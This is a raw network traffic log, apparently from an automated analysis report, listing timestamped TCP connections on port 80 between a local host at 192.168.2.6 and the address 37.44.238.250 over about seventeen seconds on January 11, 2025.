Jan 11, 2025 06:44:10.535530090 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.536422968 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.540725946 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.540844917 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.541353941 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.541431904 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.541552067 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.546423912 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.895277977 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.900396109 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.900424004 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.900437117 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.175615072 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.223297119 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.307257891 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.363971949 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.440941095 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.441685915 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.446191072 CET	80	57099	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.446264982 CET	57099	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.446655989 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.446788073 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.446904898 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.451740026 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.801517010 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:11.806660891 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.806680918 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:11.806694031 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.103729963 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.145149946 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.240104914 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.285784006 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.360717058 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.361542940 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.365799904 CET	80	57100	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.365875959 CET	57100	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.366456985 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.366530895 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.366627932 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.371505976 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.744771004 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:12.750488043 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.750507116 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:12.750519991 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.004443884 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.051412106 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.140053034 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.192040920 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.255218983 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.256253958 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.260330915 CET	80	57101	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.260428905 CET	57101	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.261100054 CET	80	57102	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.261190891 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.261321068 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.266134977 CET	80	57102	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.268937111 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.273750067 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.275846004 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.275933981 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.280785084 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.614279032 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.619339943 CET	80	57102	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.619364977 CET	80	57102	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.630062103 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.634917974 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.634939909 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.634951115 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.905131102 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.909260035 CET	80	57102	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:13.957664967 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:13.957667112 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.034415960 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.037539959 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.042099953 CET	80	57102	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.042165995 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.042584896 CET	80	57102	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.045548916 CET	57102	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.082653046 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.162264109 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.163171053 CET	57104	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.167424917 CET	80	57103	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.168025970 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.168102026 CET	57104	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.168248892 CET	57104	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.169322968 CET	57103	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.174261093 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.520293951 CET	57104	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.525228024 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.525243998 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.525255919 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.807893038 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.864327908 CET	57104	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.940356970 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.941056967 CET	57104	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:14.946114063 CET	80	57104	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:14.946222067 CET	57104	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.067159891 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.072146893 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.072345018 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.072345018 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.077307940 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.426804066 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.431919098 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.431961060 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.431996107 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.719676971 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.770205975 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.850136042 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.895179033 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.974958897 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.976442099 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.980191946 CET	80	57105	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.980273008 CET	57105	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.981344938 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:15.981650114 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.981650114 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:15.986480951 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.332801104 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.344212055 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.344234943 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.344248056 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.619368076 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.660797119 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.795833111 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.848311901 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.925168037 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.926064968 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.930248976 CET	80	57106	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.930891991 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:16.930949926 CET	57106	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.930984974 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.931185007 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:16.936022997 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.285975933 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.292191029 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.292680979 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.292692900 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.569617987 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.613914967 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.700572014 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.754528999 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.814703941 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.815447092 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.819819927 CET	80	57107	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.819889069 CET	57107	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.820290089 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:17.820355892 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.820477009 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:17.825217962 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.177826881 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.182841063 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.182862043 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.182878971 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.468466043 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.520199060 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.606482029 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.660777092 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.738456964 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.739470005 CET	57109	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.743530035 CET	80	57108	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.743603945 CET	57108	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.744369030 CET	80	57109	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:18.744468927 CET	57109	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.744658947 CET	57109	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:18.749445915 CET	80	57109	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.036911964 CET	57109	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.037544966 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.043605089 CET	80	57110	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.043730974 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.043881893 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.048667908 CET	80	57110	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.083616972 CET	80	57109	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.159863949 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.164794922 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.164925098 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.165081024 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.169872999 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.214663029 CET	80	57109	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.214754105 CET	57109	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.395277023 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.400203943 CET	80	57110	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.400243044 CET	80	57110	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.520464897 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.525517941 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.525564909 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.525595903 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.690864086 CET	80	57110	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.738924026 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.797525883 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.822074890 CET	80	57110	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.849562883 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.863914967 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:19.931071997 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:19.973355055 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.049385071 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.049433947 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.050229073 CET	57112	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.054548979 CET	80	57110	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.054660082 CET	57110	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.055017948 CET	80	57111	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.055071115 CET	80	57112	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.055093050 CET	57111	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.055294037 CET	57112	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.055349112 CET	57112	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.060118914 CET	80	57112	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.410913944 CET	57112	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.415955067 CET	80	57112	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.415994883 CET	80	57112	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.416028976 CET	80	57112	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.693500042 CET	80	57112	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.738924980 CET	57112	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.824189901 CET	80	57112	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.865788937 CET	57112	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.942687988 CET	57061	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.947994947 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.952949047 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:20.953027010 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.953166962 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:20.958009005 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.306843042 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.311826944 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.311845064 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.311852932 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.581645966 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.629544020 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.710410118 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.754673958 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.832187891 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.833267927 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.838012934 CET	80	57113	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.838078976 CET	57113	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.838844061 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:21.838913918 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.839039087 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:21.844466925 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.192125082 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.197096109 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.197112083 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.197124004 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.496242046 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.551431894 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.668924093 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.723303080 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.782267094 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.783195972 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.787283897 CET	80	57114	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.787336111 CET	57114	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.788008928 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:22.788070917 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.788189888 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:22.792959929 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.145566940 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.152333021 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.152350903 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.152360916 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.417514086 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.457684994 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.550510883 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.602158070 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.675350904 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.678590059 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.680526018 CET	80	57115	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.680615902 CET	57115	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.683507919 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:23.683585882 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.683778048 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:23.690845966 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.038718939 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.045886993 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.045943975 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.045958042 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.315583944 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.363924980 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.442516088 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.488944054 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.560839891 CET	57112	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.565751076 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.566426992 CET	57117	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.570852041 CET	80	57116	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.570914030 CET	57116	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.571228027 CET	80	57117	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.571309090 CET	57117	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.571412086 CET	57117	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.576212883 CET	80	57117	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.833583117 CET	57117	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.834084034 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.838979959 CET	80	57118	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.839119911 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.839361906 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.844118118 CET	80	57118	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.879662037 CET	80	57117	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.956684113 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.963675976 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:24.963769913 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.963880062 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:24.968588114 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.034096003 CET	80	57117	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.034295082 CET	57117	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.192234039 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.197145939 CET	80	57118	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.197351933 CET	80	57118	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.317275047 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.322223902 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.322252989 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.322282076 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.487061024 CET	80	57118	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.535813093 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.597065926 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.618439913 CET	80	57118	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.645200968 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.660804987 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.764413118 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.817100048 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.893062115 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.893065929 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.894037008 CET	57120	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.898185015 CET	80	57119	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.898214102 CET	80	57118	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.898245096 CET	57119	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.898277044 CET	57118	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.898825884 CET	80	57120	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:25.898899078 CET	57120	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.899003029 CET	57120	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:25.903728962 CET	80	57120	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:26.254726887 CET	57120	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:26.259654045 CET	80	57120	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:26.259692907 CET	80	57120	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:26.259702921 CET	80	57120	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:26.530780077 CET	80	57120	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:26.582674026 CET	57120	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:26.659113884 CET	80	57120	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:26.707701921 CET	57120	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:26.926162004 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:26.931129932 CET	80	57121	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:26.931230068 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:26.932179928 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:26.937015057 CET	80	57121	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:27.287386894 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.292412996 CET	80	57121	37.44.238.250	192.168.2.6
